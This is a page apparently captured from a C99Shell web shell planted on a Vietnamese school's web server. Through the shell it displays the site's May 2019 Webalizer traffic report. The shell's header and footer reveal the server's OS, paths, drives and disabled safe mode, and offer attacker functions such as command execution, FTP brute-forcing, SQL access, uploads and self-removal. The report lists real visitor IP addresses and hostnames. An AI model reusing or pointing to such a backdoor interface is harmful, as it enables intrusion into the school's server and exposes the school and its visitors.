!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Microsoft-IIS/10.0. PHP/7.4.33 

uname -a: Windows NT LAKE 10.0 build 20348 (Windows Server 2016) AMD64 

IWPD_801(traduongco) 

Safe-mode: OFF (not secure)

E:\thcsltv.edu.vn\.plesk\statistics\thcsltv.edu.vn\webstat\   drwxrwxrwx
Free 227.83 GB of 400 GB (56.96%)
Detected drives: [ a ] [ c ] [ d ] [ e ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usage_201905.html (96.81 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage Statistics for thcsltv.edu.vn - May 2019

Usage Statistics for thcsltv.edu.vn

Summary Period: May 2019
Generated 05-Jun-2019 05:25 SE Asia Standard Time

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for May 2019
Total Hits 8623
Total Files 6055
Total Pages 4173
Total Visits 884
Total KBytes 82840
Total Unique Sites 142
Total Unique URLs 23
Total Unique Referrers 14
Total Unique User Agents 117
. Avg Max
Hits per Hour 11 162
Hits per Day 278 1139
Files per Day 195 878
Pages per Day 134 710
Visits per Day 28 64
KBytes per Day 2672 12203
Hits by Response Code
Code 200 - OK 6055
Code 301 - Moved Permanently 2
Code 304 - Not Modified 1622
Code 404 - Not Found 944

Daily usage for May 2019

Daily Statistics for May 2019
Day Hits Files Pages Visits Sites KBytes
1 356 4.13% 238 3.93% 174 4.17% 49 5.54% 25 17.61% 4924 5.94%
2 351 4.07% 260 4.29% 152 3.64% 43 4.86% 24 16.90% 3337 4.03%
3 224 2.60% 144 2.38% 109 2.61% 32 3.62% 21 14.79% 1969 2.38%
4 119 1.38% 86 1.42% 50 1.20% 19 2.15% 16 11.27% 1217 1.47%
5 361 4.19% 231 3.82% 138 3.31% 50 5.66% 28 19.72% 3694 4.46%
6 234 2.71% 164 2.71% 117 2.80% 25 2.83% 20 14.08% 2075 2.50%
7 300 3.48% 198 3.27% 128 3.07% 28 3.17% 20 14.08% 2261 2.73%
8 294 3.41% 214 3.53% 160 3.83% 33 3.73% 22 15.49% 2464 2.97%
9 199 2.31% 117 1.93% 81 1.94% 25 2.83% 19 13.38% 1629 1.97%
10 196 2.27% 126 2.08% 95 2.28% 21 2.38% 14 9.86% 1568 1.89%
11 221 2.56% 144 2.38% 92 2.20% 21 2.38% 14 9.86% 2052 2.48%
12 490 5.68% 331 5.47% 213 5.10% 36 4.07% 24 16.90% 4328 5.22%
13 577 6.69% 384 6.34% 257 6.16% 56 6.33% 29 20.42% 4951 5.98%
14 505 5.86% 415 6.85% 279 6.69% 64 7.24% 30 21.13% 5433 6.56%
15 545 6.32% 415 6.85% 318 7.62% 52 5.88% 25 17.61% 5192 6.27%
16 1139 13.21% 878 14.50% 710 17.01% 55 6.22% 20 14.08% 12203 14.73%
17 386 4.48% 302 4.99% 201 4.82% 36 4.07% 14 9.86% 4038 4.87%
18 283 3.28% 208 3.44% 128 3.07% 26 2.94% 16 11.27% 2513 3.03%
19 331 3.84% 224 3.70% 160 3.83% 35 3.96% 24 16.90% 3200 3.86%
20 193 2.24% 102 1.68% 93 2.23% 30 3.39% 17 11.97% 1446 1.75%
21 152 1.76% 111 1.83% 65 1.56% 15 1.70% 12 8.45% 1856 2.24%
22 205 2.38% 149 2.46% 86 2.06% 20 2.26% 17 11.97% 1848 2.23%
23 210 2.44% 146 2.41% 98 2.35% 26 2.94% 17 11.97% 2521 3.04%
24 139 1.61% 59 0.97% 44 1.05% 13 1.47% 12 8.45% 731 0.88%
25 94 1.09% 62 1.02% 43 1.03% 15 1.70% 17 11.97% 908 1.10%
26 78 0.90% 47 0.78% 29 0.69% 14 1.58% 15 10.56% 982 1.19%
27 125 1.45% 105 1.73% 38 0.91% 11 1.24% 12 8.45% 1181 1.43%
28 76 0.88% 38 0.63% 27 0.65% 7 0.79% 6 4.23% 534 0.64%
29 48 0.56% 29 0.48% 21 0.50% 10 1.13% 11 7.75% 303 0.37%
30 105 1.22% 67 1.11% 32 0.77% 12 1.36% 15 10.56% 834 1.01%
31 87 1.01% 61 1.01% 35 0.84% 10 1.13% 12 8.45% 651 0.79%

Hourly usage for May 2019

Hourly Statistics for May 2019
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 18 580 6.73% 10 320 5.28% 7 234 5.61% 145 4485 5.41%
1 19 596 6.91% 14 435 7.18% 8 268 6.42% 195 6055 7.31%
2 20 640 7.42% 14 460 7.60% 10 312 7.48% 176 5467 6.60%
3 12 388 4.50% 8 274 4.53% 6 204 4.89% 114 3522 4.25%
4 12 387 4.49% 9 292 4.82% 6 208 4.98% 120 3727 4.50%
5 13 428 4.96% 10 322 5.32% 7 227 5.44% 152 4697 5.67%
6 12 392 4.55% 9 299 4.94% 7 229 5.49% 144 4457 5.38%
7 20 646 7.49% 15 479 7.91% 10 335 8.03% 255 7910 9.55%
8 21 678 7.86% 17 527 8.70% 11 343 8.22% 257 7977 9.63%
9 13 403 4.67% 9 309 5.10% 6 190 4.55% 135 4189 5.06%
10 5 157 1.82% 3 106 1.75% 2 70 1.68% 48 1491 1.80%
11 5 162 1.88% 3 94 1.55% 2 68 1.63% 36 1128 1.36%
12 20 631 7.32% 12 401 6.62% 9 286 6.85% 148 4599 5.55%
13 23 725 8.41% 16 523 8.64% 11 344 8.24% 234 7255 8.76%
14 22 693 8.04% 16 496 8.19% 10 334 8.00% 198 6134 7.40%
15 7 244 2.83% 4 130 2.15% 3 100 2.40% 74 2308 2.79%
16 4 147 1.70% 3 113 1.87% 2 75 1.80% 42 1315 1.59%
17 1 40 0.46% 0 27 0.45% 0 26 0.62% 11 328 0.40%
18 0 18 0.21% 0 14 0.23% 0 5 0.12% 4 133 0.16%
19 1 37 0.43% 0 23 0.38% 0 23 0.55% 3 97 0.12%
20 0 25 0.29% 0 12 0.20% 0 12 0.29% 4 119 0.14%
21 1 47 0.55% 1 31 0.51% 0 22 0.53% 18 564 0.68%
22 6 201 2.33% 4 154 2.54% 3 102 2.44% 59 1835 2.22%
23 11 358 4.15% 6 214 3.53% 5 156 3.74% 98 3046 3.68%

Top 16 of 23 Total URLs
# Hits KBytes URL
1 4136 47.96% 63438 76.58% /
2 397 4.60% 342 0.41% /libraries/css/style.css
3 395 4.58% 205 0.25% /libraries/css/style_p.css
4 393 4.56% 294 0.35% /libraries/css/menu/bootstrap.min.css
5 386 4.48% 9233 11.15% /libraries/js/menu/jquery-3.3.1.min.js
6 386 4.48% 214 0.26% /libraries/js/menu/script.js
7 386 4.48% 201 0.24% /libraries/js/popup.js
8 384 4.45% 4631 5.59% /libraries/js/menu/bootstrap.min.js
9 384 4.45% 2126 2.57% /libraries/js/menu/popper.min.js
10 35 0.41% 248 0.30% /admin/
11 3 0.03% 57 0.07% /admin/libraries/js/bootstrap.min.js
12 3 0.03% 115 0.14% /admin/libraries/js/jquery-3.3.1.min.js
13 3 0.03% 27 0.03% /admin/libraries/js/popper.min.js
14 3 0.03% 3 0.00% /admin/libraries/js/script.js
15 2 0.02% 2 0.00% /admin/libraries/css/bootstrap.min.css
16 2 0.02% 2 0.00% /admin/libraries/css/style.css

Top 10 of 23 Total URLs By KBytes
# Hits KBytes URL
1 4136 47.96% 63438 76.58% /
2 386 4.48% 9233 11.15% /libraries/js/menu/jquery-3.3.1.min.js
3 384 4.45% 4631 5.59% /libraries/js/menu/bootstrap.min.js
4 384 4.45% 2126 2.57% /libraries/js/menu/popper.min.js
5 397 4.60% 342 0.41% /libraries/css/style.css
6 393 4.56% 294 0.35% /libraries/css/menu/bootstrap.min.css
7 35 0.41% 248 0.30% /admin/
8 386 4.48% 214 0.26% /libraries/js/menu/script.js
9 395 4.58% 205 0.25% /libraries/css/style_p.css
10 386 4.48% 201 0.24% /libraries/js/popup.js

Top 2 of 2 Total Entry Pages
# Hits Visits URL
1 4136 47.96% 881 99.77% /
2 35 0.41% 2 0.23% /admin/

Top 2 of 2 Total Exit Pages
# Hits Visits URL
1 4136 47.96% 881 99.66% /
2 35 0.41% 3 0.34% /admin/

Top 30 of 142 Total Sites
# Hits Files KBytes Visits Hostname
1 2247 26.06% 1663 27.46% 18857 22.76% 131 14.82% static.vnpt.vn
2 1427 16.55% 1001 16.53% 11285 13.62% 80 9.05% 117.3.128.13
3 985 11.42% 674 11.13% 7518 9.07% 79 8.94% ocean
4 882 10.23% 616 10.17% 7261 8.76% 69 7.81% dynamic-ip-adsl.viettel.vn
5 247 2.86% 188 3.10% 2205 2.66% 26 2.94% dynamic-adsl.viettel.vn
6 187 2.17% 138 2.28% 1853 2.24% 16 1.81% 117.3.156.251
7 186 2.16% 123 2.03% 4957 5.98% 39 4.41% google-proxy-66-249-82-145.google.com
8 184 2.13% 115 1.90% 4617 5.57% 38 4.30% google-proxy-66-249-82-144.google.com
9 169 1.96% 106 1.75% 4093 4.94% 44 4.98% google-proxy-66-249-82-146.google.com
10 116 1.35% 111 1.83% 1092 1.32% 13 1.47% 171.251.88.107
11 113 1.31% 69 1.14% 2416 2.92% 25 2.83% google-proxy-64-233-173-151.google.com
12 112 1.30% 75 1.24% 3165 3.82% 22 2.49% google-proxy-64-233-173-152.google.com
13 91 1.06% 84 1.39% 815 0.98% 6 0.68% 116.111.157.214
14 86 1.00% 56 0.92% 2519 3.04% 20 2.26% google-proxy-64-233-173-153.google.com
15 79 0.92% 48 0.79% 264 0.32% 28 3.17% crawl-66-249-71-16.googlebot.com
16 61 0.71% 39 0.64% 415 0.50% 5 0.57% 117.3.232.78
17 58 0.67% 26 0.43% 108 0.13% 22 2.49% crawl-66-249-71-18.googlebot.com
18 58 0.67% 58 0.96% 496 0.60% 3 0.34% sg25-03-12.opera-mini.net
19 57 0.66% 41 0.68% 412 0.50% 5 0.57% 117.3.229.179
20 57 0.66% 32 0.53% 88 0.11% 26 2.94% crawl-66-249-71-17.googlebot.com
21 48 0.56% 27 0.45% 272 0.33% 4 0.45% 117.3.234.177
22 45 0.52% 45 0.74% 457 0.55% 3 0.34% sg27-04-11.opera-mini.net
23 44 0.51% 37 0.61% 427 0.51% 4 0.45% 117.3.228.184
24 42 0.49% 27 0.45% 462 0.56% 3 0.34% 42.116.101.210
25 40 0.46% 18 0.30% 227 0.27% 4 0.45% 1.55.40.154
26 32 0.37% 20 0.33% 260 0.31% 2 0.23% 117.3.148.188
27 31 0.36% 8 0.13% 173 0.21% 5 0.57% 171.251.91.166
28 29 0.34% 18 0.30% 178 0.22% 4 0.45% 117.3.239.106
29 28 0.32% 26 0.43% 232 0.28% 2 0.23% 117.3.225.243
30 28 0.32% 16 0.26% 250 0.30% 2 0.23% 171.251.87.51

Top 10 of 142 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 2247 26.06% 1663 27.46% 18857 22.76% 131 14.82% static.vnpt.vn
2 1427 16.55% 1001 16.53% 11285 13.62% 80 9.05% 117.3.128.13
3 985 11.42% 674 11.13% 7518 9.07% 79 8.94% ocean
4 882 10.23% 616 10.17% 7261 8.76% 69 7.81% dynamic-ip-adsl.viettel.vn
5 186 2.16% 123 2.03% 4957 5.98% 39 4.41% google-proxy-66-249-82-145.google.com
6 184 2.13% 115 1.90% 4617 5.57% 38 4.30% google-proxy-66-249-82-144.google.com
7 169 1.96% 106 1.75% 4093 4.94% 44 4.98% google-proxy-66-249-82-146.google.com
8 112 1.30% 75 1.24% 3165 3.82% 22 2.49% google-proxy-64-233-173-152.google.com
9 86 1.00% 56 0.92% 2519 3.04% 20 2.26% google-proxy-64-233-173-153.google.com
10 113 1.31% 69 1.14% 2416 2.92% 25 2.83% google-proxy-64-233-173-151.google.com

Top 14 of 14 Total Referrers
# Hits Referrer
1 3666 42.51% http://thcsltv.edu.vn/index.php
2 3455 40.07% http://thcsltv.edu.vn/
3 1348 15.63% - (Direct Request)
4 51 0.59% android-app://com.google.android.googlequicksearchbox/https/www.google.com
5 48 0.56% http://thcsltv.edu.vn/admin/index.php
6 16 0.19% http://www.google.com/
7 9 0.10% android-app://com.google.android.gm
8 9 0.10% android-app://com.google.android.googlequicksearchbox
9 7 0.08% http://thcsltv.edu.vn/admin/
10 5 0.06% http://www.google.com.vn/url
11 4 0.05% http://www.google.com/url
12 2 0.02% http://thcsltv.edu.vn/admin/libraries/css/style.css
13 2 0.02% https://www.google.com.vn/
14 1 0.01% http://www.google.com/search

Top 15 of 117 Total User Agents
# Hits User Agent
1 1624 18.83% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/79.0.108+Chrome/73.0.3683.108+Safari/537.36
2 631 7.32% Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/56.3.162+Chrome/50.3.2661.162+Safari/537.36
3 593 6.88% Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.112+Safari/537.36
4 303 3.51% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.131+Safari/537.36
5 262 3.04% Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.131+Safari/537.36
6 241 2.79% Mozilla/5.0+(Linux;+Android+7.0;+SAMSUNG+SM-G935F+Build/NRD90M)+AppleWebKit/537.36+(KHTML,+like+Gecko)+SamsungBrowser/9.2+Chrome/67.0.3396.87+Mobile+Safari/537.36
7 233 2.70% Mozilla/5.0+(Linux;+Android+8.1.0;+SAMSUNG+SM-J730G+Build/M1AJQ)+AppleWebKit/537.36+(KHTML,+like+Gecko)+SamsungBrowser/9.2+Chrome/67.0.3396.87+Mobile+Safari/537.36
8 207 2.40% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.157+Safari/537.36
9 191 2.22% Mozilla/5.0+(Linux;+U;+Android+6.0.1;+vi-vn;+Redmi+Note+3+Build/MMB29M)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/61.0.3163.128+Mobile+Safari/537.36+XiaoMi/MiuiBrowser/10.1.2
10 161 1.87% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/73.0.3683.103+Safari/537.36
11 147 1.70% Mozilla/5.0+(Linux;+Android+5.1.1;+F1w+Build/LMY47V)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/50.0.2661.94+Mobile+Safari/537.36+OPR/37.0.2192.110129
12 146 1.69% Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/79.0.108+Chrome/73.0.3683.108+Safari/537.36
13 146 1.69% Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_2+like+Mac+OS+X)+AppleWebKit/604.1.34+(KHTML,+like+Gecko)+CriOS/67.0.3396.87+Mobile/16E227+Safari/604.1
14 144 1.67% Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.75+Safari/537.36+Google+Favicon
15 137 1.59% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/71.0.3578.98+Safari/537.36

Usage by Country for May 2019

Top 4 of 4 Total Countries
# Hits Files KBytes Country
1 3812 44.21% 2685 44.34% 30023 36.24% Unresolved/Unknown
2 3376 39.15% 2467 40.74% 28323 34.19% Viet Nam
3 1284 14.89% 754 12.45% 23128 27.92% US Commercial
4 151 1.75% 149 2.46% 1365 1.65% Network


Generated by Webalizer Version 2.01

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5965 ]--